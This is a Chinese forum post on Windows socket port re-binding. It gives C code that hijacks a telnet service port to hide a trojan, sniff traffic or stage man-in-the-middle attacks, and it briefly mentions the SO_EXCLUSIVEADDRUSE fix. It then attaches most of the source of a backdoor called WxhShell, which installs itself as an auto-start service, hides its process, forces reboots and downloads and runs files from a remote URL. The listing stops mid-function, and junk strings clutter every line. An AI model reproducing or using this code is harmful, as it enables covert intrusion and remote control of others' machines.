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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A6 I^`0/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b5#Jo2C`AJ  
Jz]OWb *  
  saddr.sin_family = AF_INET; x21XzGLY|}  
GM Y[Gd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <Zo{D |hW  
BS2'BS8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6"9(ce KX  
K}DrJ/s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #bS}?fj  
!y862oKD  
  这意味着什么?意味着可以进行如下的攻击: t9.| i H  
(+nnX7V?I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vW0U~(XlN  
ck$>   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :7*9W|e  
H~?7 : K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BxiR0snf0q  
DFb hy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mYqLqezAA  
\.?' y71  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *|^|| bd  
RS|*3 $1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `Bb32L   
xS;tmc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #"-DE-I[  
wkY$J\J  
  #include ba)hWtenH  
  #include tqpSir  
  #include I  :8s3;  
  #include    im9Pjb%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NOFH  
  int main() Q]]M;(  
  { /GF"D5  
  WORD wVersionRequested; %Q=rm!Syv  
  DWORD ret; iGBHlw;A  
  WSADATA wsaData; CropHB/t  
  BOOL val; ^[6#Kw&E  
  SOCKADDR_IN saddr; (ylZ[M&B:  
  SOCKADDR_IN scaddr; %"ehZ d0r  
  int err; {5 3#Xd  
  SOCKET s; vcZ"4%w  
  SOCKET sc; Y=/;7T  
  int caddsize; 4m%Yck{R  
  HANDLE mt; s6DPb_,  
  DWORD tid;   39x 4(  
  wVersionRequested = MAKEWORD( 2, 2 ); %6x3 G  
  err = WSAStartup( wVersionRequested, &wsaData ); Knp}88DR^j  
  if ( err != 0 ) { 59(kk;  
  printf("error!WSAStartup failed!\n"); QS@eqN  
  return -1; 9R:?vk4  
  } a_z f*;  
  saddr.sin_family = AF_INET; 3x=NSe|f  
   L% T%6p_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [KMS/'; ]  
{>3w"(f7o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bw.?Me)mf|  
  saddr.sin_port = htons(23); D7Ds*X`!l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g(R!M0hdF  
  { 'X~CrgQl  
  printf("error!socket failed!\n"); 6&btAwvOHx  
  return -1; >}r 1A  
  } lr[&*v?h  
  val = TRUE; gu1n0N`b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !N/?b^y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0IQ|`C.  
  { KcM+ 8W\  
  printf("error!setsockopt failed!\n"); a fB?js6  
  return -1; {DX1/49  
  } o}Zl/&(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u"(2Xer  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zX8{(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zomg$@j  
;(s.G-9S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } <q=Zq+  
  { lWFm>DiLY  
  ret=GetLastError(); [bEm D  
  printf("error!bind failed!\n"); 0C717  
  return -1; rUmnv%qTS  
  } ^ lG^.  
  listen(s,2); ze`qf%  
  while(1) scZ'/(b-E  
  { $oIGlKc:L  
  caddsize = sizeof(scaddr); iJk/fvi  
  //接受连接请求 ! 6_tdZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *jl_,0g]  
  if(sc!=INVALID_SOCKET) !^3j9<|@'  
  { Y|<1|wGG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ROj=XM:+  
  if(mt==NULL) J!:v`gb#@A  
  { 2vW@d[<J  
  printf("Thread Creat Failed!\n"); t`0(5v  
  break; ^ |>)H  
  } wtQ(R4  
  } `4"&_ltD  
  CloseHandle(mt); *4 Kc "M  
  } QezDm^<  
  closesocket(s); !e0/1 j=  
  WSACleanup(); L/:u  
  return 0; 7P D D  
  }   ^j'vM\^`ml  
  DWORD WINAPI ClientThread(LPVOID lpParam) ntF#x.1Pm  
  { 0.!Q 4bhD  
  SOCKET ss = (SOCKET)lpParam; 5O"wPsl  
  SOCKET sc; uzLIllVX*  
  unsigned char buf[4096]; W97 &[([  
  SOCKADDR_IN saddr; r<.*:]L  
  long num; =_d-MJy~6  
  DWORD val; C5oIl_t  
  DWORD ret; :w4I+* ]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z|G 39  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $]iRfXv,l!  
  saddr.sin_family = AF_INET; XXZ$^W&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~{s7(^ P  
  saddr.sin_port = htons(23); I[I]C9D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zyFbu=d|O:  
  { 7033#@_  
  printf("error!socket failed!\n"); s}":lXkrw  
  return -1; mQt?d?6  
  } rVx?Yo1F'  
  val = 100; :aMp,DfM]P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0N3S@l#,\A  
  { q\87<=9J  
  ret = GetLastError(); !_[^%7"S1  
  return -1; J""N:X!1  
  } q,eXH8 x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (?zZvW8  
  { lb`2a3W/  
  ret = GetLastError(); y8\4TjS1  
  return -1; V~qlg1h  
  } cx(b5Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0)3*E)g{  
  { agW#"9]WM  
  printf("error!socket connect failed!\n"); UkBr4{+aE  
  closesocket(sc); ;hp?wb  
  closesocket(ss); ppM^&6x^  
  return -1; '^.}5be&  
  } \) T4NN  
  while(1) &:*|KxX  
  { ?\Z-3l%M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y-CVyl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9S[Tan|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;/-#oW@gQ  
  num = recv(ss,buf,4096,0); `F1 ( v  
  if(num>0) ;u: }rA)  
  send(sc,buf,num,0); SwPc<Z?P  
  else if(num==0) ^!>o5Y)  
  break; @uI_4a  
  num = recv(sc,buf,4096,0); v:$Y |mh  
  if(num>0) jP|(y]!  
  send(ss,buf,num,0); \muC_9ke  
  else if(num==0) >P\/\xL=  
  break; ZN?UkFnE  
  } ;}gS8I|  
  closesocket(ss); dq ~=P>  
  closesocket(sc); FqK2[]8  
  return 0 ; ZX!u\O|w  
  } />9?/&N6"  
(Dx]!FFz  
y|@=j~}Zq  
========================================================== k"2xyzt*  
s*DDO67\W  
下边附上一个代码,,WXhSHELL Zcn,_b7  
:V#W y  
========================================================== x?|   
p#dpDjh  
#include "stdafx.h" Wc)f:]7  
+Ss|4O}'  
#include <stdio.h> W:16qbK  
#include <string.h> j/xL+Y(=  
#include <windows.h>  !(<Yc5  
#include <winsock2.h> URD<KIN>  
#include <winsvc.h> Zj8aD-1]U^  
#include <urlmon.h> ul$YV9 [\  
,fwN_+5  
#pragma comment (lib, "Ws2_32.lib") ?pv}~>  
#pragma comment (lib, "urlmon.lib") O{9h'JU  
V OViOD  
#define MAX_USER   100 // 最大客户端连接数 U8(Rye$  
#define BUF_SOCK   200 // sock buffer [UHDN:y  
#define KEY_BUFF   255 // 输入 buffer cHMS[.=;  
It@ak6u?  
#define REBOOT     0   // 重启 :#QYwb~  
#define SHUTDOWN   1   // 关机 Gm.n@U p  
{^#62Y  
#define DEF_PORT   5000 // 监听端口 x1kb]0s<-  
DN@T4!  
#define REG_LEN     16   // 注册表键长度 $Y4;Xe=  
#define SVC_LEN     80   // NT服务名长度 )5j%."  
mSzBNvc i  
// 从dll定义API f9g#pyH4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $Q|t^(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Podyh/;?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^.J F?2T/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ArUGa(; f  
 98os4}r  
// wxhshell配置信息 D`lTP(] y  
struct WSCFG { /)PD+18  
  int ws_port;         // 监听端口 6 /Apdn1[  
  char ws_passstr[REG_LEN]; // 口令 rnVh ]xJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no \S@;>A<J  
  char ws_regname[REG_LEN]; // 注册表键名 '%`W y@  
  char ws_svcname[REG_LEN]; // 服务名 D/Y.'P:j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .sA?}H#wb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #<bt}Tht  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,"u-V<>6O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gHC -Y 0_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  wNW9xmS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i(JBBE"  
5xi f0h-`  
}; y.~y*c6,g  
d\dt}&S 5  
// default Wxhshell configuration Eq9TJt'3y  
struct WSCFG wscfg={DEF_PORT, 5eO`u8M  
    "xuhuanlingzhe", bO: Ei  
    1, 78\:{i->ta  
    "Wxhshell", (@dh"=Lt\  
    "Wxhshell", Qcz7IA  
            "WxhShell Service", Poacd;*  
    "Wrsky Windows CmdShell Service", rs3Uk.Z^ '  
    "Please Input Your Password: ", ubIGs| p2c  
  1, Cd#>,,\z  
  "http://www.wrsky.com/wxhshell.exe", 1@kPl[`p'  
  "Wxhshell.exe" jl=<Q.Mm7  
    }; 5o5y3ibQ  
/GNRu  
// 消息定义模块 $LZf&q:\]*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A:EF#2) g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DA@YjebP'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s,Cm}4L6  
char *msg_ws_ext="\n\rExit."; SQ)$>3>C  
char *msg_ws_end="\n\rQuit."; l'(Cxhf.W  
char *msg_ws_boot="\n\rReboot..."; {b>tX)Tep  
char *msg_ws_poff="\n\rShutdown..."; Te~"\`omJ3  
char *msg_ws_down="\n\rSave to "; a $g4 )0eS  
d(w $! $"h  
char *msg_ws_err="\n\rErr!"; u7&r'rZ1_!  
char *msg_ws_ok="\n\rOK!"; U6 "U^  
c@:r\]  
char ExeFile[MAX_PATH]; LF0gy3  
int nUser = 0; sD.bBz  
HANDLE handles[MAX_USER]; I-i)D  
int OsIsNt; F9ry?g=h  
x{C=rdp__  
SERVICE_STATUS       serviceStatus; ?MuM _6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uYS?# g  
\@Gyl_6^  
// 函数声明 UHz*Tfjb  
int Install(void); . x~tEe  
int Uninstall(void); #JGy2Hk$^  
int DownloadFile(char *sURL, SOCKET wsh); W?G4\ubM3<  
int Boot(int flag); abUn{X+f~  
void HideProc(void); ( =->rP  
int GetOsVer(void); PEoO s  
int Wxhshell(SOCKET wsl); *~fZ9EkD  
void TalkWithClient(void *cs); BSG_),AH  
int CmdShell(SOCKET sock); L*9^-,  
int StartFromService(void); n6[bF "v  
int StartWxhshell(LPSTR lpCmdLine); r^ &{0c&o  
46*o_A,"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tn;e PcU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6z"fBF  
$GUSTV  
// 数据结构和表定义 XZA3T Z  
SERVICE_TABLE_ENTRY DispatchTable[] = fSl+;|K n  
{ }#q9>gx  
{wscfg.ws_svcname, NTServiceMain}, *8U+2zgfC  
{NULL, NULL} b/'fC%o,  
}; t/_w}  
-c%GlpZw  
// 自我安装 52tIe|KwL  
int Install(void) f!*b8ND^R  
{ 9'Y~! vY  
  char svExeFile[MAX_PATH]; M'W@K  
  HKEY key; Q$W0>bUP  
  strcpy(svExeFile,ExeFile); U n2xZ[4  
JTpKF_Za<  
// 如果是win9x系统,修改注册表设为自启动 B @UaaWh  
if(!OsIsNt) { FgNO#%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W{Ie(hf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8^$}!9B~JZ  
  RegCloseKey(key); ];^A8?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RM-| ?%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NyJU?^f&v  
  RegCloseKey(key); RP7e)?5$s  
  return 0; /+P 4cHv]F  
    } @h X  
  } vyERt^z  
} d37l/I  
else { T%KZV/  
%]>c4"H  
// 如果是NT以上系统,安装为系统服务 T^aEx.`O}`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +XJj:%yt  
if (schSCManager!=0) u=jF\W9  
{ CY0|.x  
  SC_HANDLE schService = CreateService $B*Ek>EK  
  ( RqXcL,,9  
  schSCManager, 1a| q&L`o  
  wscfg.ws_svcname, [sTr#9Z  
  wscfg.ws_svcdisp, #,qw~l]  
  SERVICE_ALL_ACCESS, WDSkk"#TF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wQ*vcbQX*  
  SERVICE_AUTO_START, ?@(_GrE-  
  SERVICE_ERROR_NORMAL, [E2afC>zrl  
  svExeFile, q*Yh_IT.I  
  NULL, /P5w}n  
  NULL, a =*(>=  
  NULL, NUEy0pLw  
  NULL, OTL=(k  
  NULL {~k /xM.-  
  ); bec n$R  
  if (schService!=0) $f*N  
  { ln'7kg  
  CloseServiceHandle(schService);  ]P(:z  
  CloseServiceHandle(schSCManager); 3) zanoYHi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^u:7U4  
  strcat(svExeFile,wscfg.ws_svcname); %(Nu"3|$K=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `&4L'1eF{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F5wCl2I  
  RegCloseKey(key); _$NFeqLww  
  return 0; = I Ls[p  
    } V? w;YTg  
  } 8uM>UpX  
  CloseServiceHandle(schSCManager); :f ybH)*  
} ,<zGvksk  
} )~T)$TS  
_jR%o1Y}  
return 1; dfiA- h  
} A$WE:<^  
{^Vkxf]  
// 自我卸载 BP,"vq$'+  
int Uninstall(void) [95(%&k.Q  
{ PSI5$Vna4p  
  HKEY key; wRgmw 4  
-f#0$Z/0  
if(!OsIsNt) { "8&pT^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7!#x-KR~5  
  RegDeleteValue(key,wscfg.ws_regname); "nU5c4   
  RegCloseKey(key); efy65+~GG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  >zFe)  
  RegDeleteValue(key,wscfg.ws_regname); `g<@F^x5  
  RegCloseKey(key); 7u6o~(  
  return 0; Ha1E /b]K  
  } 84DneSpHsp  
} VtUe$ft  
} Y _m4:9p  
else { P \tP0+at  
dD?1te  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ';hU&D;s  
if (schSCManager!=0) lt|\$Iy(  
{ |o6 h:g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XpdDIKMmE  
  if (schService!=0) #25Z,UU  
  { 6B)(kPW  
  if(DeleteService(schService)!=0) { ~.u}v~ F  
  CloseServiceHandle(schService); T(MS,AyD]  
  CloseServiceHandle(schSCManager); Sav]Kxq{  
  return 0; M")JbuI  
  } @H= d8$  
  CloseServiceHandle(schService); AMG}'P:  
  } OKNA36cU'  
  CloseServiceHandle(schSCManager); 0Jm6 r4s?  
} s:7^R-"  
} Q zPq^  
C<?}?hhb  
return 1; WW{5[;LYiB  
} :.'<ndM  
&M,a+|yuY  
// 从指定url下载文件 cTCo~Pk4  
int DownloadFile(char *sURL, SOCKET wsh) 1"?KQU  
{ x9Fga_  
  HRESULT hr; g34<0%6jd  
char seps[]= "/"; klxVsx%I{G  
char *token; f_}/JF  
char *file; nT..+ J)  
char myURL[MAX_PATH]; uM h[Ht^.  
char myFILE[MAX_PATH]; V%8?f,  
NZdjS9  
strcpy(myURL,sURL); R  5-q{  
  token=strtok(myURL,seps); <k<K"{  
  while(token!=NULL) rdhK&5x*  
  { onRxe\?D(  
    file=token; gELku .  
  token=strtok(NULL,seps);  H;s  
  } CnSfGsE>  
hEi]-N\X  
GetCurrentDirectory(MAX_PATH,myFILE); 'iA#lKG  
strcat(myFILE, "\\"); DZ92;m  
strcat(myFILE, file); }l~|c{WH`  
  send(wsh,myFILE,strlen(myFILE),0); bXF>{%(}E  
send(wsh,"...",3,0); lYmqFd~p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  n0F.Um  
  if(hr==S_OK) FRd!UqMXY  
return 0; (+6 8s9XS7  
else C93BK)$}  
return 1; Xf!@uS6<X  
J( JsfU4  
} G3'>KMa.  
?YWfoH4mS  
// 系统电源模块 , (dg]7  
int Boot(int flag) bO 2>ced  
{ GmP)"@O](;  
  HANDLE hToken; :i_818h!?[  
  TOKEN_PRIVILEGES tkp; h[ #Lg3  
i]J*lM7'  
  if(OsIsNt) { g}"`@H(9r3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gF-<%<RV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zu`; S#Y  
    tkp.PrivilegeCount = 1; k4fc 5P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .) uUpY%K^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B4yU}v  
if(flag==REBOOT) { *GleeJWz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 74Xk^  8  
  return 0; wI><kdz  
} T6m#sVq  
else { C~4_Vc*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JBfDz0P  
  return 0; r8g4NsRVtv  
} ;iR( Ir  
  } tvXoF;Yq  
  else { I$/*Pt];  
if(flag==REBOOT) { ^]l^q'?>:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PPk\W7G  
  return 0; <~;;iM6  
} :f%FM&b  
else { D X GClH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VN[C%C  
  return 0; 59mNb:<  
} K~ ,| ~  
} ZycV?ob8}  
s3qWTdM  
return 1; nfpkWyIu{  
} `q|&;wP.  
6(awO2{BP  
// win9x进程隐藏模块 N`XJA-DE  
void HideProc(void) 56gpAc  
{ U"$Q$ OFs  
Ck;O59A"&-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7?Q@Hj(:NT  
  if ( hKernel != NULL ) i{[=N9U5o  
  { DTmv2X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )*#Pp )Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H,,-;tN?  
    FreeLibrary(hKernel); M2HO!btf  
  } K*iy^}  
,<?iL~> %  
return; d\aKGq;8C  
} ~f=~tN)hZ  
>2h|$6iWP  
// 获取操作系统版本 X8~dFjhX  
int GetOsVer(void) *uHL'Pe;m  
{ rMXIw  
  OSVERSIONINFO winfo; 'f&o%5]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RrrW0<Ed  
  GetVersionEx(&winfo); r@N 0%JZZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j !^Tw.Ty  
  return 1; {Hncm  
  else M S 3?#b  
  return 0; +Go(y S  
} :$k':0 n  
.N2yn`  
// 客户端句柄模块 HR)Dz~Obw  
int Wxhshell(SOCKET wsl) Vp8t8X1`  
{ }s)MDq9  
  SOCKET wsh; )"k>}&'  
  struct sockaddr_in client; lyGQ6zlSn  
  DWORD myID; 79 zFF  
0#(K}9T)  
  while(nUser<MAX_USER) v{{Cj83S+  
{ L%](C  
  int nSize=sizeof(client); kwxb~~S}h(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dxqVZksg(9  
  if(wsh==INVALID_SOCKET) return 1; @X`~r8&  
Rs+rlJq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d"3S[_U  
if(handles[nUser]==0) tHNvb\MR$  
  closesocket(wsh); jVP70c  
else *hVbjI$  
  nUser++; GC?X>AC:  
  } l`lo5:w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KrO oxrDcp  
dw %aoe  
  return 0; f[,9WkC  
} W: Rs 0O  
@L^Fz$Sx  
// 关闭 socket .d< +-w2Mu  
void CloseIt(SOCKET wsh) <viIpz2jh%  
{ 5dffF e  
closesocket(wsh); ]zp5 6U|xa  
nUser--; 3:Bwf)*  
ExitThread(0);  !sda6?&  
} }e3M5LI1L  
.C^1.)  
// 客户端请求句柄 49f- u  
void TalkWithClient(void *cs) \s<7!NAE4  
{ :}d`$2Dz  
J ytY6HF  
  SOCKET wsh=(SOCKET)cs; .qVz rS  
  char pwd[SVC_LEN]; OJd!g/V  
  char cmd[KEY_BUFF]; 6BIP;, M=  
char chr[1]; e&[gde(  
int i,j; qW]gp7jK4  
 >)ZX  
  while (nUser < MAX_USER) { =`2nv0%2  
5,=Yi$x  
if(wscfg.ws_passstr) { TR!^wB<F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1);$#Dlt k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7q bGA K  
  //ZeroMemory(pwd,KEY_BUFF); b *IJ +  
      i=0; `(A6uakd  
  while(i<SVC_LEN) { =PHl|^  
X! 5N2x  
  // 设置超时 b i^h&H  
  fd_set FdRead; _`lj 3Lm0>  
  struct timeval TimeOut; u2HkAPhD  
  FD_ZERO(&FdRead); pAS!;t=n,  
  FD_SET(wsh,&FdRead); rQiX7  
  TimeOut.tv_sec=8; EubR] ckB  
  TimeOut.tv_usec=0; SNP.n))   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wUzQ`h2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "%~\kJ(G  
v+-f pl&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U$a Eby.  
  pwd=chr[0]; z9:@~3k.  
  if(chr[0]==0xd || chr[0]==0xa) { $iQ>c6  
  pwd=0; \~xI#S@  
  break; kg[u@LgvoN  
  } @C)O[&Sk  
  i++; lhg3 }dW  
    } T!$7:% D  
zb9^ii$g  
  // 如果是非法用户,关闭 socket h}xUZ:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #1R_* Uh  
} }aYm86C]  
9@AGx<S1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0?uX}8w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xw: v|(  
>yvP[$]!6  
while(1) { ~^/zCPy[w  
J5LP#o(V  
  ZeroMemory(cmd,KEY_BUFF); $mm =$.  
n+@}8;oeP  
      // 自动支持客户端 telnet标准   g+/%r91hZ  
  j=0; !- f>*|@  
  while(j<KEY_BUFF) { lJ]r %YlF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !f_GR Pj'  
  cmd[j]=chr[0]; Q0~5h?V'  
  if(chr[0]==0xa || chr[0]==0xd) { M<JJQh5  
  cmd[j]=0;  p>v,b&06  
  break; PJj{5,#@3  
  } =/=x"q+X  
  j++; Ab7hW(/  
    } / uI/8>p(  
oR}ir  
  // 下载文件 y8: 0VZox  
  if(strstr(cmd,"http://")) { O;M_?^'W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #oMbE<//"  
  if(DownloadFile(cmd,wsh)) 992;~lBu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aKs!*uo0H  
  else nPq\J~M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~\dpD  
  } >_M}l @1  
  else { >V(>2eD'S  
.jMm-vox}  
    switch(cmd[0]) { mFayU w  
  ]i*q*]x2u  
  // 帮助 kF'^!Hp  
  case '?': { #1Mk9sxo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EZ #UdK_  
    break; Y0BvN`E  
  } hM E|=\  
  // 安装 R7*Jb-;$!  
  case 'i': { Wq)'0U;{$  
    if(Install()) A{h hnrr8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , >Y. !  
    else ~ C5iyXR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $gDp-7  
    break; n ! qm  
    } $N;!. 5lX3  
  // 卸载 Lhl) pP17  
  case 'r': { a#H=dIj  
    if(Uninstall()) Ary$,3X2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR/; uTTz  
    else %9M; MK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D{o1G?A  
    break; yP0P-8  
    } iM2 EEC  
  // 显示 wxhshell 所在路径 fEs957$  
  case 'p': { `'Ta=kd3  
    char svExeFile[MAX_PATH]; Js+d4``W  
    strcpy(svExeFile,"\n\r"); ^FgNg'"[3  
      strcat(svExeFile,ExeFile); J'9&dt  
        send(wsh,svExeFile,strlen(svExeFile),0); bI[!y#_z4  
    break; N-^\X3X  
    } /iif@5lw{  
  // 重启 +Smv<^bW  
  case 'b': { |}Mkn4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7tAWPSwf  
    if(Boot(REBOOT)) *" <tFQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N5g52MN  
    else { 7~\Dzcfk"P  
    closesocket(wsh); .u7d  
    ExitThread(0); #BS]wj2#  
    } y NV$IN%  
    break; =)M8>>l  
    } -Kg@Sj/U}R  
  // 关机 'lC"wP&$  
  case 'd': { U]vNcQj  
